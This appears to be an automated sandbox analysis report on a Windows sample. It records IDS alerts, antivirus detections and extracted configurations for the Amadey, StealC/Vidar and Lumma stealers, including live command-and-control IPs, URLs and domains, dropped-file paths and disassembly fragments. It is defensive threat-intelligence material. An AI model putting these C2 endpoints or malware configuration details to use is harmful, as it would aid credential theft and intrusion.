2024-10-24T08:38:28.228526+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	61014	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:28.508291+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	61014	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:29.605354+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	61014	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:28.515353+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	61014	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:27.951398+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:57.032177+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	61050	185.215.113.37	80	TCP
2024-10-24T08:39:03.212611+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	61057	185.215.113.37	80	TCP
2024-10-24T08:39:07.198628+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	61060	185.215.113.37	80	TCP
2024-10-24T08:39:13.214841+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	61082	185.215.113.37	80	TCP
2024-10-24T08:39:28.745037+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	61083	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:05.076744+0200	2856147	1	A Network Trojan was detected	192.168.2.5	60964	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:16.687975+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	60978	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:08.455905+0200	2803305	3	Unknown Traffic	192.168.2.5	60982	185.215.113.16	80	TCP
2024-10-24T08:38:18.528343+0200	2803305	3	Unknown Traffic	192.168.2.5	61010	185.215.113.16	80	TCP
2024-10-24T08:38:27.730736+0200	2803305	3	Unknown Traffic	192.168.2.5	61015	185.215.113.16	80	TCP
2024-10-24T08:38:35.438482+0200	2803305	3	Unknown Traffic	192.168.2.5	61018	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:30.663656+0200	2803304	3	Unknown Traffic	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:41.873841+0200	2803304	3	Unknown Traffic	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:43.926188+0200	2803304	3	Unknown Traffic	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:45.318102+0200	2803304	3	Unknown Traffic	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:46.265352+0200	2803304	3	Unknown Traffic	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:47.969677+0200	2803304	3	Unknown Traffic	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:48.472119+0200	2803304	3	Unknown Traffic	192.168.2.5	61014	185.215.113.37	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:18.545064+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	61009	104.102.49.254	443	TCP
2024-10-24T08:38:33.039799+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	61016	104.102.49.254	443	TCP
2024-10-24T08:39:08.830730+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	61065	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: g4Cyr2T5jq.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/0d60be0de163924d/nss3.dll

URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000006.00000003.2635193986.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 32.0.num.exe.40000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 32.0.num.exe.40000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: g4Cyr2T5jq.exe	ReversingLabs: Detection: 55%
Source: g4Cyr2T5jq.exe	Virustotal: Detection: 52%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: g4Cyr2T5jq.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe

Code function: 8_2_6C8B6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

8_2_6C8B6C80

Source: g4Cyr2T5jq.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:61009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:61011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:61016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:61035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:61038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:61065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:61072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:61074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:61075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:61076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:61079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:61094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:61095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:61098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:61103 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: 7e96f85771.exe, 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: nss3.pdb@ source: 7e96f85771.exe, 00000008.00000002.3211531901.000000006CADF000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: nss3.pdb source: 7e96f85771.exe, 00000008.00000002.3211531901.000000006CADF000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: mozglue.pdb source: 7e96f85771.exe, 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: cb#3.Pdb#3. source: firefox.exe, 00000017.00000002.3106659324.000002882317B000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	7_2_008199D0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov eax, dword ptr [esp]	7_2_007DD110
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov eax, dword ptr [esp]	7_2_007DD110
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	7_2_007DFCA0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	7_2_007E0EEC
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov eax, dword ptr [esp]	7_2_00815700
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	7_2_007E6F91
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	7_2_007ED961
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	7_2_00813920
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	7_2_007D49A0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	7_2_007D5A50
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then jmp eax	7_2_007E1A3C
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	7_2_007E42FC
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then jmp eax	7_2_007E1ACD
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	7_2_00814A40
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov ebp, eax	7_2_007DA300
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	7_2_007E1BEE
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	7_2_007E3BE2
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	7_2_00819B60
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	7_2_007FC470
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov word ptr [eax], cx	7_2_007ED457
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov eax, dword ptr [esp]	7_2_00819CE0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	7_2_00819CE0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	7_2_007EB410
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	7_2_007FCCD0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov eax, dword ptr [esp]	7_2_007FCCD0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	7_2_007FCCD0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	7_2_007E6536
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov word ptr [eax], cx	7_2_007F9510
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	7_2_007FFD10
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h]	7_2_007D8590
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	7_2_007E6EBF
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	7_2_007DBEB0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	7_2_007D6EA0
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	7_2_007E1E93
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	7_2_007E6F91

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 198MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:60964 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:60978
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:49749 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:63961 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:64436 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:55933 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:62917 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:53062 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:56049 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:60882 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:61008 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:61013 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:61014 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:61014 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:61014
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:61014 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:61014
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:61014 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:53956 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:49672 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:50650 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:61295 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:62669 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:64789 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:52892 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:60339 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:61017 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:61027 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:64826 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:52542 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:64381 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:55996 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:53787 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:61050 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:51551 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:60782 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:63481 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:61082 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:61083 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:61060 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:61057 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:61076 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:61076 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:61011 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:61011 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:61065 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:61079 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:61079 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:61009 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:61016 -> 104.102.49.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	IPs: 185.215.113.43

